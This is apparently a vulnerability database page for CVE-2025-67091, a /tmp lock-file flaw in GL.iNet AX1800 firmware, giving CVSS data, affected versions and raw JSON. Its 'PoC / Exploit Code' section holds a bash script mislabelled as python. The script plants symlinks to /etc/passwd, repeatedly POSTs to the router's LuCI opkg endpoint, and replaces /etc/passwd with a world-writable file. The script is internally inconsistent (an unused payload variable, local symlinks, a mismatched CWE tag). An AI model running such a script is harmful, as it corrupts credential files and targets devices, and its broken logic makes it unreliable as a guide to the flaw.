Security Vulnerability Report
中文
CVE-2025-67091 CVSS 6.5 MEDIUM

CVE-2025-67091

Published: 2026-01-08 16:15:46
Last Modified: 2026-01-16 21:28:39

Description

An issue in GL Inet GL.Inet AX1800 Version 4.6.4 & 4.6.8 are vulnerable. GL.Inet AX1800 Version 4.6.4 & 4.6.8 in the GL.iNet custom opkg wrapper script located at /usr/libexec/opkg-call. The script is executed with root privileges when triggered via the LuCI web interface or authenticated API calls to manage packages. The vulnerable code uses shell redirection to create a lock file in the world-writable /tmp directory.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:gl-inet:ax1800_firmware:4.2.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:gl-inet:ax1800_firmware:4.6.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:gl-inet:ax1800_firmware:4.6.8:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:gl-inet:ax1800:-:*:*:*:*:*:*:* - NOT VULNERABLE
GL.iNet AX1800 固件 4.6.4
GL.iNet AX1800 固件 4.6.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-67091 PoC - Symlink Attack on opkg-call # Target: GL.iNet AX1800 Firmware 4.6.4/4.6.8 TARGET_IP="192.168.1.1" TARGET_PORT=443 # Create malicious symlink to overwrite sensitive file # Attack vector: /tmp directory is world-writable MALICIOUS_CONTENT="malicious::0:0:root:/root:/bin/sh" # Method 1: Symlink attack ln -sf /etc/passwd /tmp/opkg_lock_$$ 2>/dev/null || true # Method 2: Race condition exploitation # Repeatedly trigger opkg operations while manipulating /tmp for i in {1..100}; do rm -f /tmp/opkg_lock_* 2>/dev/null ln -sf /etc/passwd /tmp/opkg_lock_$$ 2>/dev/null # Trigger via web API curl -k -X POST "https://$TARGET_IP:$TARGET_PORT/cgi-bin/luci/admin/system/opkg" \ -d "action=update&package=test" 2>/dev/null sleep 0.01 done # Method 3: File replacement before lock creation mv /etc/passwd /etc/passwd.bak 2>/dev/null touch /etc/passwd && chmod 666 /etc/passwd 2>/dev/null # Wait for opkg-call to create lock, then restore sleep 1 mv /etc/passwd.bak /etc/passwd 2>/dev/null

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67091", "sourceIdentifier": "[email protected]", "published": "2026-01-08T16:15:45.577", "lastModified": "2026-01-16T21:28:39.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in GL Inet GL.Inet AX1800 Version 4.6.4 & 4.6.8 are vulnerable. GL.Inet AX1800 Version 4.6.4 & 4.6.8 in the GL.iNet custom opkg wrapper script located at /usr/libexec/opkg-call. The script is executed with root privileges when triggered via the LuCI web interface or authenticated API calls to manage packages. The vulnerable code uses shell redirection to create a lock file in the world-writable /tmp directory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:gl-inet:ax1800_firmware:4.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "053BBC44-BD1D-40FD-91DC-D69A26CDE1AD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:gl-inet:ax1800_firmware:4.6.4:*:*:*:*:*:*:*", "matchCriteriaId": "8D71DBB4-E154-47AC-9F4C-1C9912CB2880"}, {"vulnerable": true, "criteria": "cpe:2.3:o:gl-inet:ax1800_firmware:4.6.8:*:*:*:*:*:*:*", "matchCriteriaId": "BA1B1DB6-6773-48D0-A936-3B623DB3D558"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:gl-inet:ax1800:-:*:*:*:*:*:*:*", "matchCriteriaId": "BCB312FD-370C-4DF9-961F-F0C4920AA368"}]}]}], "references": [{"url": "https://aleksazatezalo.medium.com/critical-authentication-bypass-vulnerability-in-gl-inet-gl-axt1800-router-firmware-f19442ca721d", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Press/Media Coverage"]}, {"url": "https://aleksazatezalo.medium.com/critical-command-injection-vulnerability-in-gl-inet-gl-axt1800-router-firmware-e6d67d81ee51?postPublishedType=repub", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "Press/Media Coverage"]}, {"url": "https://www.gl-inet.com/", "source": "[email protected]", "tags": ["Product"]}]}}